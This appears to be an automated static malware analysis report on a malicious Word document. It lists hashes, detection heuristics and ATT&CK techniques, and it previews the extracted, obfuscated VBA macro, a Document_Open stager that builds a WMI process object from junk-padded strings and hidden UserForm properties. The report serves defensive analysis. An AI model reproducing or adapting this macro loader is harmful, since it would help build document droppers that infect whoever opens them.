Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f7f068e1159d2fdf…

MALICIOUS

Office (OLE)

178.1 KB Created: 2020-08-18 23:27:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 635e876ff36d9ea950bcf9aa8ef50a21 SHA-1: 9318802b3fdb785a7bcf53197471a788c3f8522a SHA-256: f7f068e1159d2fdfc8a75bdbbf80d202f66dba0cd5af6725b1113c0d8ee3c23d
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' strongly suggests the macro is designed to execute a payload. The ClamAV detection further supports the malicious classification. The VBA code appears obfuscated, but the overall pattern points to a downloader or initial execution stage.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9378591-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9378591-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10478 bytes
SHA-256: 609b984e4a1415b37edf88d36fd3e2ec3eb14d06ede6f035edf65b944d954744
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Taxkirgoicleqh6"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Qasojp9sf0_dnki.Lowtorx32rrs5fka_
End Sub


Attribute VB_Name = "Qasojp9sf0_dnki"
Attribute VB_Base = "0{6CB62DC5-1272-4FCB-9336-10F71FC13907}{90CA0E05-0BC6-473C-BEB9-E0990464EA8B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Lowtorx32rrs5fka_()
   For Yojlrbvhabj = 5 To 62
DoEvents
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Next Yojlrbvhabj
Uz205ez20v4i1 = 639
Dmgf7rb0vxmq = 393
Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq
Eir72id42h28r = Uz205ez20v4i1
Rsu8wokkbx_g9f = Qasojp9sf0_dnki.HelpContextId + 50 + 50
   For Yojlrbvhabj = 5 To 62
DoEvents
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Next Yojlrbvhabj
Uz205ez20v4i1 = 7
Dmgf7rb0vxmq = 394
Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq
A8m_itthw7i = Uz205ez20v4i1
Zx0r6iu72d8 = ChrW(Rsu8wokkbx_g9f + (15))
   For Yojlrbvhabj = 5 To 62
DoEvents
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Next Yojlrbvhabj
Uz205ez20v4i1 = 326
Dmgf7rb0vxmq = 559
Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq
Taufmh5q9_b_oo7tm = Uz205ez20v4i1
My3ysrfcx3oexjw6 = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + Zx0r6iu72d8 + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Qasojp9sf0_dnki.R3v0gggm0qbart7l + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For Yojlrbvhabj = 5 To 62
DoEvents
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Next Yojlrbvhabj
Uz205ez20v4i1 = 599
Dmgf7rb0vxmq = 274
Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq
Wp97j8b3ens9bh = Uz205ez20v4i1
N5gmf4i4uvwmt = A_kxi8z7bifojgd0(My3ysrfcx3oexjw6)
   For Yojlrbvhabj = 5 To 62
DoEvents
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Next Yojlrbvhabj
Uz205ez20v4i1 = 21
Dmgf7rb0vxmq = 996
Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq
Fri4vatp6xp7avmct = Uz205ez20v4i1
Set Ahyh60nzbzwdk_ = CreateObject(N5gmf4i4uvwmt)
   For Yojlrbvhabj = 5 To 62
DoEvents
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Next Yojlrbvhabj
Uz205ez20v4i1 = 711
Dmgf7rb0vxmq = 972
Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq
K10ti5lbvc5xvb = Uz205ez20v4i1
Bkn4491l4ec8aubv = Qasojp9sf0_dnki.Rc13xe31o4v.ControlTipText
   For Yojlrbvhabj = 5 To 62
DoEvents
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Debug.Print (CStr(Sy_5uatqjj_8c) & CStr(Nnnucqdilkdfr))
Next Yojlrbvhabj
Uz205ez20v4i1 = 457
Dmgf7rb0vxmq = 713
Uz205ez20v4i1 = Uz205ez20v4i1 + Dmgf7rb0vxmq
Rm77
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.